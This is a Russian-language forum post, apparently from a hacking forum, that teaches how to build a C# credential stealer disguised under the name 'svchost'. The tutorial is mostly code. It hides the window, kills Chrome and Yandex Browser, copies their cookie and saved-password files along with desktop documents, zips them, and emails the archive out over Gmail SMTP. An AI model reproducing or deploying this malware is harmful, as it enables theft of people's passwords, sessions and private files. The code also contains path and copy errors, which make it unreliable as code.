Вы можете купить здесь рекламу. Вы можете купить здесь рекламу.

Stass

Проверка на авторские статьи.
Главный редактор

Stass

Проверка на авторские статьи.
Главный редактор
Статус
Offline
С нами
Сообщения
169
Симпатии
7
Розыгрыши
0
#1
Весь код для тех кому не хочется читать:

Код:
using System;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO;
using System.IO.Compression;
using System.Diagnostics;
using System.Net;
using System.Threading.Tasks;
using System.Net.Mail;
using System.Collections.Generic;
namespace svchost
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
            string localappdata = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); // Путь в %localappdata%
            string Chrome = Path.Combine(localappdata, @"\Google\Chrome\User Data\Default\Cookies"); // Куки
            string Login_Data_Chrome = Path.Combine(localappdata, @"\Google\Chrome\User Data\Default\Login Data"); // пароли
            string Yandex = Path.Combine(localappdata, @"\Yandex\YandexBrowser\User Data\Default\Cookies"); // куки
            string Login_Data_Yandex = Path.Combine(localappdata, @"\Yandex\YandexBrowser\User Data\Default\Login Data"); // пароли
            string _path = Path.Combine(localappdata + @"\svchost"); // папка куда копируются все файлы
            string desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); // путь к рабочему столу
            string[] files = Directory.GetFiles(desktop); // Получаем список файлов со стола
            List<string> listFiles = new List<string>(); // пихаем их в этот список
            foreach (string i in files) // пихаем
            {
                string extens = Path.GetExtension(i);
                if (extens == ".doc" || extens == ".docx" || extens == ".pdf" || extens == ".txt" || extens == ".xls")
                {
                    listFiles.Add(i); // пихаем
                }
            }
            List<string> names = new List<string>(); // получаем имена файлов, так как в том списке, прописан целый путь
                foreach(string i in listFiles)
                {
                    names.Add(Path.GetFileName(i));
                }


            foreach (var i in Process.GetProcessesByName("chrome")) // Убиваем хром
            {
                i.Kill();
            }
          
            foreach (var i in Process.GetProcessesByName("yandex")) // Убиваем яндекс
            {
                i.Kill();
            }

            if (Directory.Exists(_path) == false) // проверка на наличие папки
            {
                DirectoryInfo dir = Directory.CreateDirectory(_path);
            }
            else
            {
                Directory.Delete(_path); // Удаление папки
            }
            for (int i = 0; i < listFiles.Count; i++ )
            {
                if (File.Exists(Path.Combine(_path, names[i]))) // проверка, есть ли в папке похожие файлы, на всякий пожарный
                {
                    File.Delete(Path.Combine(_path, names[i])); // удаление
                }
                File.Copy(listFiles[i], Path.Combine(_path, names[i])); // копирование
            }
            try
            {
                File.Copy(Login_Data_Chrome, _path); // достаем пароли
                File.Copy(Login_Data_Yandex, _path); // пароли
                File.Copy(Chrome, _path);// куки
                File.Copy(Yandex, _path);//куки
            }
            catch
            {
                /// Кукишь тебе а не куки!
            }
            string pathToLogs = Path.Combine(localappdata, "logs.zip"); // создаем путь к будущему архиву
            using (var zip = new Ionic.Zip.ZipFile(System.Text.Encoding.GetEncoding("utf-8"))) // кодировку ставим
            {
                if (File.Exists(pathToLogs))
                {
                    File.Delete(pathToLogs); // опять проверки, проверки, проверки
                }
                zip.AddDirectory(_path); // создаем архив
                zip.CompressionLevel = Ionic.Zlib.CompressionLevel.BestCompression;
                zip.Save(Path.Combine(pathToLogs));
            }
            //отправка на почту
            MailAddress from = new MailAddress("[email protected]", "Великий хакер");
            // кому отправляем
            MailAddress to = new MailAddress("[email protected]");
            // создаем объект сообщения
            MailMessage m = new MailMessage(from, to);
            // тема письма
            m.Subject = "Тест";
            // текст письма
            m.Body = "<h1>Логи</h1>";
            // письмо представляет код html
            m.IsBodyHtml = true;
            m.Attachments.Add(new Attachment(pathToLogs));
            // адрес smtp-сервера и порт, с которого будем отправлять письмо
            SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587);
            // логин и пароль
            smtp.Credentials = new NetworkCredential("[email protected]", "your_password");
            smtp.EnableSsl = true;
            smtp.Send(m);
            // вот и все

          
        }
    }
}
Создаём проект - Windows Forms
Переходим в свойства и выставляем следующие значения:

  • FormBorderStyle : None
  • Text : Оставляем пустоту
  • Enabled : False
  • ShowIcon : False
  • TopMost : False
  • TransparencyKey : Кликаем > система > control
  • CausesValidation : False
  • SizeGripStyle : Hide
Теперь к коду:

Вначале нам понадобятся эти библиотеки:
Код:
using System;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO;
using System.IO.Compression;
using System.Diagnostics;
using System.Net;
using System.Threading.Tasks;
using System.Net.Mail;
using System.Collections.Generic;
Теперь объявим пути до нужных нам файлов:
Код:
namespace svchost
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
            string localappdata = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); // Путь в %localappdata%
            string Chrome = Path.Combine(localappdata, @"\Google\Chrome\User Data\Default\Cookies"); // Куки
            string Login_Data_Chrome = Path.Combine(localappdata, @"\Google\Chrome\User Data\Default\Login Data"); // пароли
            string Yandex = Path.Combine(localappdata, @"\Yandex\YandexBrowser\User Data\Default\Cookies"); // куки
            string Login_Data_Yandex = Path.Combine(localappdata, @"\Yandex\YandexBrowser\User Data\Default\Login Data"); // пароли
            string _path = Path.Combine(localappdata + @"\svchost"); // папка куда копируются все файлы
            string desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); // путь к рабочему столу
            string[] files = Directory.GetFiles(desktop); // Получаем список файлов со стола
Теперь отсеиваем, то что нам ненужно:
Код:
List<string> listFiles = new List<string>(); // пихаем файлы из массива в этот список
            foreach (string i in files) // пихаем
            {
                string extens = Path.GetExtension(i); // Делаем отсев по расширению
                if (extens == ".doc" || extens == ".docx" || extens == ".pdf" || extens == ".txt" || extens == ".xls")
                {
                    listFiles.Add(i); // пихаем
                }
            }
            List<string> names = new List<string>(); // получаем имена файлов, так как в том списке, прописан целый путь
                foreach(string i in listFiles)
                {
                    names.Add(Path.GetFileName(i));
                }
Пока браузеры активны, до файлов нам недобраться, поэтому закрываем их:
Код:
foreach (var i in Process.GetProcessesByName("chrome")) // Убиваем хром
            {
                i.Kill();
            }
          
            foreach (var i in Process.GetProcessesByName("yandex")) // Убиваем яндекс
            {
                i.Kill();
            }
Теперь создаем папку, куда мы скопируем все наши файлы:
Код:
if (Directory.Exists(_path) == false) // проверка на наличие папки
            {
                DirectoryInfo dir = Directory.CreateDirectory(_path);
            }
            else
            {
                Directory.Delete(_path); // Удаление папки
            }
            for (int i = 0; i < listFiles.Count; i++ )
            {
                if (File.Exists(Path.Combine(_path, names[i]))) // проверка, есть ли в папке похожие файлы, на всякий пожарный
                {
                    File.Delete(Path.Combine(_path, names[i])); // удаление
                }
                File.Copy(listFiles[i], Path.Combine(_path, names[i])); // копирование
            }
            try
            {
                File.Copy(Login_Data_Chrome, _path); // достаем пароли
                File.Copy(Login_Data_Yandex, _path); // пароли
                File.Copy(Chrome, _path);// куки
                File.Copy(Yandex, _path);//куки
            }
            catch
            {
                /// Кукишь тебе а не куки!
            }
Теперь жмякаем в боковой панели по названию нашего проекта >> управление пакетами NuGet >> В поиске вбиваем DotNetZip и устанавливаем его
Теперь создаем архив и архивируем нашу папку:

Код:
string pathToLogs = Path.Combine(localappdata, "logs.zip"); // создаем путь к будущему архиву
            using (var zip = new Ionic.Zip.ZipFile(System.Text.Encoding.GetEncoding("utf-8"))) // кодировку ставим
            {
                if (File.Exists(pathToLogs))
                {
                    File.Delete(pathToLogs); // опять проверки, проверки, проверки
                }
                zip.AddDirectory(_path); // создаем архив
                zip.CompressionLevel = Ionic.Zlib.CompressionLevel.BestCompression;
                zip.Save(Path.Combine(pathToLogs));
            }
И наконец-то отправляем этот архив себе на почту:
Код:
MailAddress from = new MailAddress("[email protected]", "Великий хакер");
            // кому отправляем
            MailAddress to = new MailAddress("[email protected]");
            // создаем объект сообщения
            MailMessage m = new MailMessage(from, to);
            // тема письма
            m.Subject = "Тест";
            // текст письма
            m.Body = "<h1>Логи</h1>";
            // письмо представляет код html
            m.IsBodyHtml = true;
            m.Attachments.Add(new Attachment(pathToLogs));
            // адрес smtp-сервера и порт, с которого будем отправлять письмо
            SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587);
            // логин и пароль
            smtp.Credentials = new NetworkCredential("[email protected]", "your_password");
            smtp.EnableSsl = true;
            smtp.Send(m);
Всё готово.